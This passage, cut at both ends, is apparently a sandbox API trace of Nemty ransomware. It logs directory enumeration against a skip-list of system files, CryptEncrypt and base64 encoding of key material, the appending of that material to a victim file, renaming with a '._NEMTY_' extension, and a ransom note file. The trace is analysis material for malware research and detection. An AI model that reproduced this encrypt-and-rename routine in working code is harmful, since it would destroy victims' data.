ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0180.153] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0180.154] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0180.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0180.154] Sleep (dwMilliseconds=0x5) [0180.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1f082c90, dwHighDateTime=0x1d561e8)) [0180.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1f082c90, dwHighDateTime=0x1d561e8)) [0180.162] GetLastError () returned 0x0 [0180.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.162] GetLastError () returned 0x0 [0180.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.163] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0180.163] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0180.163] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0180.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0180.163] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="hc4SgI2+2zZW367CD4TH/nrKThepgrhjps2ofSRXgOXfgIm9hZRySZMdYsWVdm34\r\n3xSUMPK/ZoeJCQ4/XDvlaNcUEryqvFSt3Xhg9+DTb4dpo68Vt7ZoKfkVkdItIpRO\r\nedCdXqtNTO1Dba/eyjWIXYTItLkITensL/lB4o15ComWWRkY4jELPAN+AmGcQ/+f\r\nHgjM0ZDp9OogiLf4C3yszYNg7dAvhphU/cbIXRyYyq4fpF0VQjo47lIeneb+H/eq\r\nj/hO0QzjAiAJ5ilI+Qm4Mvr+3kxA34djAIp/o6Nv4F26Eg8HkiXLZsERJ8KKcifh\r\nDtkCg/tfcsT45zcqqi5ZVw==\r\n", pcchString=0x653e29c) returned 1 [0180.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0180.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0180.163] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=225) returned 1 [0180.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0180.163] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.163] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0180.164] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.164] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0180.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0180.165] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=225, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1 [0180.165] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0180.165] CloseHandle (hObject=0x2f0) returned 1 [0180.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0180.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0180.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0180.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0180.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.165] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0180.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0180.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0180.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.171] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0369d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1f0369d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f0369d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0180.171] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0180.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0180.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.172] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0369d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1f0369d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f0369d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0180.172] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.172] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.NOR", cAlternateFileName="")) returned 1 [0180.172] lstrcmpiW (lpString1="Spelling.NOR", lpString2=".") returned 1 [0180.172] lstrcmpiW (lpString1="Spelling.NOR", lpString2="..") returned 1 [0180.172] lstrcmpiW (lpString1="Spelling.NOR", lpString2="...") returned 1 [0180.172] lstrcmpiW (lpString1="Spelling.NOR", lpString2="windows") returned -1 [0180.172] lstrcmpiW (lpString1="Spelling.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.172] lstrcmpiW (lpString1="Spelling.NOR", lpString2="rsa") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="NTDETECT.COM") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="ntldr") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="MSDOS.SYS") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="IO.SYS") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="boot.ini") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="boot.ini") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="ntuser.dat") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="desktop.ini") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="CONFIG.SYS") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="RECYCLER") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="bootmgr") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="programdata") returned 1 [0180.173] lstrcmpiW (lpString1="Spelling.NOR", lpString2="appdata") returned 1 [0180.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 